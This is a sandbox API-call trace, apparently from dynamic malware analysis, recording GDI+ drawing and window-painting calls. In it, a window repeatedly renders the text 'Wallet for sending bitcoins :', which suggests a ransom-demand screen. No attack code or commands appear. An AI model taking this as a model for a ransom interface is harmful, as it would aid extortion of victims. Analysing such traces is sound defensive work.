[0286.421] GdipGetFontHeight (font=0x1c5af190, graphics=0x1cb7d7c0, height=0x2ebd24) returned 0x0
[0286.421] GdipDeleteGraphics (graphics=0x1cb7d7c0) returned 0x0
[0286.421] GdipCreateRegion (region=0x2ebb70) returned 0x0
[0286.421] GdipGetClip (graphics=0x1c5a7fc0, region=0x1cb7d7c0) returned 0x0
[0286.421] GdipCreateMatrix (matrix=0x2ebb70) returned 0x0
[0286.422] GdipGetWorldTransform (graphics=0x1c5a7fc0, matrix=0x1c5af550) returned 0x0
[0286.422] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ebbd8) returned 0x0
[0286.422] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.422] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.422] LocalFree (hMem=0x1de51510) returned 0x0
[0286.423] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.423] GdipIsInfiniteRegion (region=0x1cb7d7c0, graphics=0x1c5a7fc0, result=0x2ebc40) returned 0x0
[0286.423] GdipDeleteRegion (region=0x1cb7d7c0) returned 0x0
[0286.423] GdipGetDC (graphics=0x1c5a7fc0, hdc=0x2ebc48) returned 0x0
[0286.423] OffsetViewportOrgEx (in: hdc=0x1010a48, x=0, y=0, lppt=0x27e70f8 | out: lppt=0x27e70f8) returned 1
[0286.424] IsAppThemed () returned 0x1
[0286.424] GetThemeAppProperties () returned 0x3
[0286.424] GetThemeAppProperties () returned 0x3
[0286.424] DrawThemeBackground () returned 0x0
[0286.424] RestoreDC (hdc=0x1010a48, nSavedDC=-1) returned 1
[0286.424] GdipReleaseDC (graphics=0x1c5a7fc0, hdc=0x1010a48) returned 0x0
[0286.425] GdipCreateRegion (region=0x2ebb70) returned 0x0
[0286.425] GdipGetClip (graphics=0x1c5a7fc0, region=0x1cb7d7c0) returned 0x0
[0286.425] GdipCreateMatrix (matrix=0x2ebb70) returned 0x0
[0286.425] GdipGetWorldTransform (graphics=0x1c5a7fc0, matrix=0x1c5af510) returned 0x0
[0286.425] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ebbd8) returned 0x0
[0286.426] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.426] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0286.426] LocalFree (hMem=0x1de51510) returned 0x0
[0286.426] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.426] GdipIsInfiniteRegion (region=0x1cb7d7c0, graphics=0x1c5a7fc0, result=0x2ebc40) returned 0x0
[0286.426] GdipDeleteRegion (region=0x1cb7d7c0) returned 0x0
[0286.427] GdipGetDC (graphics=0x1c5a7fc0, hdc=0x2ebc48) returned 0x0
[0286.427] OffsetViewportOrgEx (in: hdc=0x1010a48, x=0, y=0, lppt=0x27e7550 | out: lppt=0x27e7550) returned 1
[0286.427] IsAppThemed () returned 0x1
[0286.427] GetThemeAppProperties () returned 0x3
[0286.427] GetThemeAppProperties () returned 0x3
[0286.427] DrawThemeBackground () returned 0x0
[0286.427] RestoreDC (hdc=0x1010a48, nSavedDC=-1) returned 1
[0286.428] GdipReleaseDC (graphics=0x1c5a7fc0, hdc=0x1010a48) returned 0x0
[0286.428] GdipCreateRegion (region=0x2ebb70) returned 0x0
[0286.428] GdipGetClip (graphics=0x1c5a7fc0, region=0x1cb7d7c0) returned 0x0
[0286.428] GdipCreateMatrix (matrix=0x2ebb70) returned 0x0
[0286.428] GdipGetWorldTransform (graphics=0x1c5a7fc0, matrix=0x1c5af550) returned 0x0
[0286.428] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ebbd8) returned 0x0
[0286.429] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.429] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.429] LocalFree (hMem=0x1de51510) returned 0x0
[0286.429] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.429] GdipIsInfiniteRegion (region=0x1cb7d7c0, graphics=0x1c5a7fc0, result=0x2ebc40) returned 0x0
[0286.429] GdipDeleteRegion (region=0x1cb7d7c0) returned 0x0
[0286.430] GdipGetDC (graphics=0x1c5a7fc0, hdc=0x2ebc48) returned 0x0
[0286.430] OffsetViewportOrgEx (in: hdc=0x1010a48, x=0, y=0, lppt=0x27e79a8 | out: lppt=0x27e79a8) returned 1
[0286.430] IsAppThemed () returned 0x1
[0286.430] GetThemeAppProperties () returned 0x3
[0286.430] GetThemeAppProperties () returned 0x3
[0286.430] DrawThemeBackground () returned 0x0
[0286.430] RestoreDC (hdc=0x1010a48, nSavedDC=-1) returned 1
[0286.430] GdipReleaseDC (graphics=0x1c5a7fc0, hdc=0x1010a48) returned 0x0
[0286.431] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0286.431] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20286, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0286.432] SelectPalette (hdc=0x1010a48, hPal=0x3080b87, bForceBkgd=1) returned 0x188000b
[0286.432] GdipCreateFromHDC (hdc=0x3e0107be, graphics=0x2ebfc8) returned 0x0
[0286.432] GdipTranslateWorldTransform (graphics=0x1c5a8050, dx=0x7fef04ddf12, dy=0x4af70916f6e6, order=0x0) returned 0x0
[0286.432] GdipSetClipRectI (graphics=0x1c5a8050, x=0, y=0, width=47, height=43, combineMode=0x0) returned 0x0
[0286.432] GdipCreateMatrix (matrix=0x2ebff0) returned 0x0
[0286.433] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0286.433] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ec058) returned 0x0
[0286.433] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.433] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0286.433] LocalFree (hMem=0x1de51510) returned 0x0
[0286.433] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.433] GdipCreateRegion (region=0x2ebff0) returned 0x0
[0286.434] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.434] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ec050) returned 0x0
[0286.434] GdipSaveGraphics (graphics=0x1c5a8050, state=0x2ec0f0) returned 0x0
[0286.434] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20286, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0
[0286.434] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20286, Msg=0xd, wParam=0x1, lParam=0x2ebef0) returned 0x0
[0286.435] GdipCreateRegion (region=0x2ebc80) returned 0x0
[0286.435] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a84e0) returned 0x0
[0286.435] GdipCreateMatrix (matrix=0x2ebc80) returned 0x0
[0286.435] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0286.435] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ebce8) returned 0x0
[0286.436] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.436] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.436] LocalFree (hMem=0x1de51510) returned 0x0
[0286.436] GdipCombineRegionRegion (region=0x1c5a84e0, region2=0x1c5a8420, combineMode=0x1) returned 0x0
[0286.436] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.436] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.437] LocalFree (hMem=0x1de51510) returned 0x0
[0286.437] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.437] GdipIsInfiniteRegion (region=0x1c5a84e0, graphics=0x1c5a8050, result=0x2ebd50) returned 0x0
[0286.437] GdipIsInfiniteRegion (region=0x1c5a84e0, graphics=0x1c5a8050, result=0x2ebd10) returned 0x0
[0286.437] GdipGetRegionHRgn (region=0x1c5a84e0, graphics=0x1c5a8050, hRgn=0x2ebd10) returned 0x0
[0286.438] GdipDeleteRegion (region=0x1c5a84e0) returned 0x0
[0286.438] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ebd58) returned 0x0
[0286.438] OffsetViewportOrgEx (in: hdc=0x3e0107be, x=0, y=0, lppt=0x27e8130 | out: lppt=0x27e8130) returned 1
[0286.438] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x3e0107be) returned 0x0
[0286.439] GdipRestoreGraphics (graphics=0x1c5a8050, state=0xfffffffffd0c0dbd) returned 0x0
[0286.439] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.439] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20286, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0
[0286.439] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20286, Msg=0xd, wParam=0x1, lParam=0x2ebef0) returned 0x0
[0286.442] GdipGetImageWidth (image=0x1c5a4c00, width=0x2ebee8) returned 0x0
[0286.442] GdipGetImageHeight (image=0x1c5a4c00, height=0x2ebee8) returned 0x0
[0286.443] GdipDrawImageRectI (graphics=0x1c5a8050, image=0x1c5a4c00, x=0, y=0, width=32, height=32) returned 0x0
[0286.443] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ec008) returned 0x0
[0286.443] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x3e0107be) returned 0x0
[0286.443] GdipDeleteGraphics (graphics=0x1c5a8050) returned 0x0
[0286.444] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x20280, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1
[0286.444] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x20280, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1
[0286.444] SetTextColor (hdc=0x2010a5c, color=0xffffff) returned 0x0
[0286.445] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20284, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x11
[0286.445] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20284, Msg=0xd, wParam=0x12, lParam=0x2eac60) returned 0x11
[0286.446] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20284, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x11
[0286.446] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20284, Msg=0xd, wParam=0x12, lParam=0x2eac60) returned 0x11
[0286.446] GetThemeAppProperties () returned 0x3
[0286.446] GetThemeAppProperties () returned 0x3
[0286.446] SelectPalette (hdc=0x13010b4c, hPal=0x3080b87, bForceBkgd=1) returned 0x188000b
[0286.446] GdipCreateFromHDC (hdc=0x13010b4c, graphics=0x2ead08) returned 0x0
[0286.447] GdipSetPageUnit (graphics=0x1c5a8050, unit=0x2) returned 0x0
[0286.447] GdipCreateMatrix (matrix=0x2eac00) returned 0x0
[0286.447] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0286.447] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2eac68) returned 0x0
[0286.448] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.448] GdipCreateRegion (region=0x2eac00) returned 0x0
[0286.448] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.448] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2eac60) returned 0x0
[0286.448] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.449] GdipSaveGraphics (graphics=0x1c5a8050, state=0x2ead00) returned 0x0
[0286.449] GetThemeAppProperties () returned 0x3
[0286.449] GetThemeAppProperties () returned 0x3
[0286.449] IsAppThemed () returned 0x1
[0286.449] GetThemeAppProperties () returned 0x3
[0286.449] GetThemeAppProperties () returned 0x3
[0286.449] IsThemePartDefined () returned 0x1
[0286.449] GdipGetTextRenderingHint (graphics=0x1c5a8050, mode=0x2eaaf8) returned 0x0
[0286.449] GdipCreateRegion (region=0x2ea970) returned 0x0
[0286.450] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.450] GdipCreateMatrix (matrix=0x2ea970) returned 0x0
[0286.450] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0286.450] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ea9d8) returned 0x0
[0286.450] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.450] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.451] LocalFree (hMem=0x1de51510) returned 0x0
[0286.451] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.451] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2eaa40) returned 0x0
[0286.451] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.451] GdipGetDC (graphics=0x1c5a8050, hdc=0x2eaa48) returned 0x0
[0286.451] OffsetViewportOrgEx (in: hdc=0x13010b4c, x=0, y=0, lppt=0x27e8e70 | out: lppt=0x27e8e70) returned 1
[0286.453] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x13010b4c) returned 0x0
[0286.453] GdipGetTextRenderingHint (graphics=0x1c5a8050, mode=0x2eaac8) returned 0x0
[0286.453] GdipCreateRegion (region=0x2ea940) returned 0x0
[0286.453] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.454] GdipCreateMatrix (matrix=0x2ea940) returned 0x0
[0286.454] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0286.454] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ea9a8) returned 0x0
[0286.454] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.454] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0286.454] LocalFree (hMem=0x1de51510) returned 0x0
[0286.455] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.455] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2eaa10) returned 0x0
[0286.455] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.455] GdipGetDC (graphics=0x1c5a8050, hdc=0x2eaa18) returned 0x0
[0286.455] OffsetViewportOrgEx (in: hdc=0x13010b4c, x=0, y=0, lppt=0x27e9288 | out: lppt=0x27e9288) returned 1
[0286.456] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x13010b4c) returned 0x0
[0286.456] GdipCreateFromHDC (hdc=0x1010a48, graphics=0x2eaae8) returned 0x0
[0286.456] GdipGetFontHeight (font=0x1c5af190, graphics=0x1cb7dad0, height=0x2eaae4) returned 0x0
[0286.457] GdipDeleteGraphics (graphics=0x1cb7dad0) returned 0x0
[0286.457] GdipCreateFromHDC (hdc=0x1010a48, graphics=0x2eaae8) returned 0x0
[0286.457] GdipGetFontHeight (font=0x1c5af190, graphics=0x1cb7dad0, height=0x2eaae4) returned 0x0
[0286.457] GdipDeleteGraphics (graphics=0x1cb7dad0) returned 0x0
[0286.457] GdipCreateRegion (region=0x2ea930) returned 0x0
[0286.457] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.458] GdipCreateMatrix (matrix=0x2ea930) returned 0x0
[0286.458] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0286.458] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ea998) returned 0x0
[0286.458] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.458] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.458] LocalFree (hMem=0x1de51510) returned 0x0
[0286.458] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.459] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2eaa00) returned 0x0
[0286.459] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.459] GdipGetDC (graphics=0x1c5a8050, hdc=0x2eaa08) returned 0x0
[0286.459] OffsetViewportOrgEx (in: hdc=0x13010b4c, x=0, y=0, lppt=0x27e9870 | out: lppt=0x27e9870) returned 1
[0286.459] GetThemeAppProperties () returned 0x3
[0286.459] GetThemeAppProperties () returned 0x3
[0286.459] DrawThemeBackground () returned 0x0
[0286.459] RestoreDC (hdc=0x13010b4c, nSavedDC=-1) returned 1
[0286.459] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x13010b4c) returned 0x0
[0286.460] GdipCreateRegion (region=0x2ea930) returned 0x0
[0286.460] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.460] GdipCreateMatrix (matrix=0x2ea930) returned 0x0
[0286.460] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0286.460] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ea998) returned 0x0
[0286.460] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.460] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0286.461] LocalFree (hMem=0x1de51510) returned 0x0
[0286.461] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.461] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2eaa00) returned 0x0
[0286.461] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.461] GdipGetDC (graphics=0x1c5a8050, hdc=0x2eaa08) returned 0x0
[0286.462] OffsetViewportOrgEx (in: hdc=0x13010b4c, x=0, y=0, lppt=0x27e9cc8 | out: lppt=0x27e9cc8) returned 1
[0286.462] GetThemeAppProperties () returned 0x3
[0286.462] GetThemeAppProperties () returned 0x3
[0286.462] DrawThemeBackground () returned 0x0
[0286.462] RestoreDC (hdc=0x13010b4c, nSavedDC=-1) returned 1
[0286.463] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x13010b4c) returned 0x0
[0286.463] GdipCreateRegion (region=0x2ea930) returned 0x0
[0286.463] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.463] GdipCreateMatrix (matrix=0x2ea930) returned 0x0
[0286.464] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0286.464] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ea998) returned 0x0
[0286.464] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.464] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.464] LocalFree (hMem=0x1de51510) returned 0x0
[0286.465] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.465] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2eaa00) returned 0x0
[0286.465] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.465] GdipGetDC (graphics=0x1c5a8050, hdc=0x2eaa08) returned 0x0
[0286.466] OffsetViewportOrgEx (in: hdc=0x13010b4c, x=0, y=0, lppt=0x27ea120 | out: lppt=0x27ea120) returned 1
[0286.466] GetThemeAppProperties () returned 0x3
[0286.466] GetThemeAppProperties () returned 0x3
[0286.466] DrawThemeBackground () returned 0x0
[0286.466] RestoreDC (hdc=0x13010b4c, nSavedDC=-1) returned 1
[0286.467] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x13010b4c) returned 0x0
[0286.467] GdipDeleteGraphics (graphics=0x1c5a8050) returned 0x0
[0286.552] BeginPaint (in: hWnd=0x20282, lpPaint=0x2ec018 | out: lpPaint=0x2ec018) returned 0x2010b40
[0286.553] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20282, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0286.554] SelectPalette (hdc=0x2010b40, hPal=0x3080b87, bForceBkgd=1) returned 0x188000b
[0286.555] GetWindowTextLengthW (hWnd=0x20282) returned 29
[0286.555] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20282, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1d
[0286.555] GetSystemMetrics (nIndex=42) returned 0
[0286.556] GetWindowTextW (in: hWnd=0x20282, lpString=0x2ebe90, nMaxCount=30 | out: lpString="Wallet for sending bitcoins :") returned 29
[0286.556] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20282, Msg=0xd, wParam=0x1e, lParam=0x2ebe90) returned 0x1d
[0286.556] GetClientRect (in: hWnd=0x20282, lpRect=0x2ec068 | out: lpRect=0x2ec068) returned 1
[0286.558] GetCurrentObject (hdc=0x2010b40, type=0x1) returned 0x1b00017
[0286.558] GetCurrentObject (hdc=0x2010b40, type=0x2) returned 0x1900010
[0286.558] GetCurrentObject (hdc=0x2010b40, type=0x7) returned 0x1050032
[0286.558] GetCurrentObject (hdc=0x2010b40, type=0x6) returned 0x18a002e
[0286.559] SaveDC (hdc=0x2010b40) returned 1
[0286.559] GetNearestColor (hdc=0x2010b40, color=0x80) returned 0x80
[0286.559] CreateSolidBrush (color=0x80) returned 0x1b1007d3
[0286.559] FillRect (hDC=0x2010b40, lprc=0x2ebd58, hbr=0x1b1007d3) returned 1
[0286.560] DeleteObject (ho=0x1b1007d3) returned 1
[0286.560] RestoreDC (hdc=0x2010b40, nSavedDC=-1) returned 1
[0286.561] GetWindowTextLengthW (hWnd=0x20282) returned 29
[0286.561] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20282, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1d
[0286.561] GetSystemMetrics (nIndex=42) returned 0
[0286.561] GetWindowTextW (in: hWnd=0x20282, lpString=0x2ebe90, nMaxCount=30 | out: lpString="Wallet for sending bitcoins :") returned 29
[0286.561] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20282, Msg=0xd, wParam=0x1e, lParam=0x2ebe90) returned 0x1d
[0286.561] IsAppThemed () returned 0x1
[0286.561] GetThemeAppProperties () returned 0x3
[0286.562] GetThemeAppProperties () returned 0x3
[0286.562] SelectPalette (hdc=0x2010b40, hPal=0x3080b87, bForceBkgd=1) returned 0x3080b87
[0286.563] GdipCreateFromHDC (hdc=0x2010b40, graphics=0x2ebf48) returned 0x0
[0286.564] GdipSetPageUnit (graphics=0x1c5a7fc0, unit=0x2) returned 0x0
[0286.565] GdipCreateMatrix (matrix=0x2ebe40) returned 0x0
[0286.565] GdipGetWorldTransform (graphics=0x1c5a7fc0, matrix=0x1c5af510) returned 0x0
[0286.565] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ebea8) returned 0x0
[0286.565] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.565] GdipCreateRegion (region=0x2ebe40) returned 0x0
[0286.565] GdipGetClip (graphics=0x1c5a7fc0, region=0x1c5a8390) returned 0x0
[0286.565] GdipIsInfiniteRegion (region=0x1c5a8390, graphics=0x1c5a7fc0, result=0x2ebea0) returned 0x0
[0286.565] GdipDeleteRegion (region=0x1c5a8390) returned 0x0
[0286.566] GdipSaveGraphics (graphics=0x1c5a7fc0, state=0x2ebf40) returned 0x0
[0286.566] IsAppThemed () returned 0x1
[0286.566] GetThemeAppProperties () returned 0x3
[0286.566] GetThemeAppProperties () returned 0x3
[0286.566] IsAppThemed () returned 0x1
[0286.566] GetThemeAppProperties () returned 0x3
[0286.566] GetThemeAppProperties () returned 0x3
[0286.566] IsThemePartDefined () returned 0x1
[0286.567] GdipGetTextRenderingHint (graphics=0x1c5a7fc0, mode=0x2ebd38) returned 0x0
[0286.567] GdipCreateRegion (region=0x2ebbb0) returned 0x0
[0286.567] GdipGetClip (graphics=0x1c5a7fc0, region=0x1cb7d7c0) returned 0x0
[0286.567] GdipCreateMatrix (matrix=0x2ebbb0) returned 0x0
[0286.567] GdipGetWorldTransform (graphics=0x1c5a7fc0, matrix=0x1c5af550) returned 0x0
[0286.567] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ebc18) returned 0x0
[0286.567] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.567] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.568] LocalFree (hMem=0x1de51510) returned 0x0
[0286.568] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.568] GdipIsInfiniteRegion (region=0x1cb7d7c0, graphics=0x1c5a7fc0, result=0x2ebc80) returned 0x0
[0286.568] GdipDeleteRegion (region=0x1cb7d7c0) returned 0x0
[0286.568] GdipGetDC (graphics=0x1c5a7fc0, hdc=0x2ebc88) returned 0x0
[0286.568] GetCurrentObject (hdc=0x2010b40, type=0x1) returned 0x1b00017
[0286.568] GetCurrentObject (hdc=0x2010b40, type=0x2) returned 0x1900010
[0286.568] GetCurrentObject (hdc=0x2010b40, type=0x7) returned 0x1050032
[0286.569] GetCurrentObject (hdc=0x2010b40, type=0x6) returned 0x18a002e
[0286.569] SaveDC (hdc=0x2010b40) returned 1
[0286.569] OffsetViewportOrgEx (in: hdc=0x2010b40, x=0, y=0, lppt=0x27eaf48 | out: lppt=0x27eaf48) returned 1
[0286.569] GetCurrentObject (hdc=0x2010b40, type=0x6) returned 0x18a002e
[0286.570] GetObjectW (in: h=0x18a002e, c=92, pv=0x2eba80 | out: pv=0x2eba80) returned 92
[0286.570] SelectObject (hdc=0x2010b40, h=0x50a0b98) returned 0x18a002e
[0286.570] DrawTextExW (in: hdc=0x2010b40, lpchText="Wallet for sending bitcoins :", cchText=29, lprc=0x2ebd38, format=0x2410, lpdtp=0x27eaf60 | out: lpchText="Wallet for sending bitcoins :", lprc=0x2ebd38) returned 14
[0286.572] RestoreDC (hdc=0x2010b40, nSavedDC=-1) returned 1
[0286.572] GdipReleaseDC (graphics=0x1c5a7fc0, hdc=0x2010b40) returned 0x0
[0286.572] GdipGetTextRenderingHint (graphics=0x1c5a7fc0, mode=0x2ebd08) returned 0x0
[0286.572] GdipCreateRegion (region=0x2ebb80) returned 0x0
[0286.572] GdipGetClip (graphics=0x1c5a7fc0, region=0x1cb7d7c0) returned 0x0
[0286.572] GdipCreateMatrix (matrix=0x2ebb80) returned 0x0
[0286.572] GdipGetWorldTransform (graphics=0x1c5a7fc0, matrix=0x1c5af510) returned 0x0
[0286.572] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ebbe8) returned 0x0
[0286.572] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.572] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0286.573] LocalFree (hMem=0x1de51510) returned 0x0
[0286.573] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.573] GdipIsInfiniteRegion (region=0x1cb7d7c0, graphics=0x1c5a7fc0, result=0x2ebc50) returned 0x0
[0286.573] GdipDeleteRegion (region=0x1cb7d7c0) returned 0x0
[0286.573] GdipGetDC (graphics=0x1c5a7fc0, hdc=0x2ebc58) returned 0x0
[0286.573] GetCurrentObject (hdc=0x2010b40, type=0x1) returned 0x1b00017
[0286.573] GetCurrentObject (hdc=0x2010b40, type=0x2) returned 0x1900010
[0286.573] GetCurrentObject (hdc=0x2010b40, type=0x7) returned 0x1050032
[0286.573] GetCurrentObject (hdc=0x2010b40, type=0x6) returned 0x18a002e
[0286.573] SaveDC (hdc=0x2010b40) returned 1
[0286.573] OffsetViewportOrgEx (in: hdc=0x2010b40, x=0, y=0, lppt=0x27eb360 | out: lppt=0x27eb360) returned 1
[0286.573] GetTextAlign (hdc=0x2010b40) returned 0x0
[0286.573] GetTextColor (hdc=0x2010b40) returned 0x0
[0286.573] SetTextColor (hdc=0x2010b40, color=0xffff) returned 0x0
[0286.573] GetCurrentObject (hdc=0x2010b40, type=0x6) returned 0x18a002e
[0286.574] GetObjectW (in: h=0x18a002e, c=92, pv=0x2eb820 | out: pv=0x2eb820) returned 92
[0286.574] SelectObject (hdc=0x2010b40, h=0x50a0b98) returned 0x18a002e
[0286.574] GetBkMode (hdc=0x2010b40) returned 2
[0286.574] SetBkMode (hdc=0x2010b40, mode=1) returned 2
[0286.574] DrawTextExW (in: hdc=0x2010b40, lpchText="Wallet for sending bitcoins :", cchText=29, lprc=0x2ebc78, format=0x2010, lpdtp=0x27eb560 | out: lpchText="Wallet for sending bitcoins :", lprc=0x2ebc78) returned 14
[0286.575] RestoreDC (hdc=0x2010b40, nSavedDC=-1) returned 1
[0286.575] GdipReleaseDC (graphics=0x1c5a7fc0, hdc=0x2010b40) returned 0x0
[0286.575] GetDC (hWnd=0x0) returned 0x2010a5c
[0286.576] GdipCreateFromHDC (hdc=0x2010a5c, graphics=0x2ebd28) returned 0x0
[0286.576] GdipGetFontHeight (font=0x1c5af010, graphics=0x1cb7d7c0, height=0x2ebd24) returned 0x0
[0286.576] GdipDeleteGraphics (graphics=0x1cb7d7c0) returned 0x0
[0286.576] ReleaseDC (hWnd=0x0, hDC=0x2010a5c) returned 1
[0286.576] GetDC (hWnd=0x0) returned 0x2010a5c
[0286.576] GdipCreateFromHDC (hdc=0x2010a5c, graphics=0x2ebd28) returned 0x0
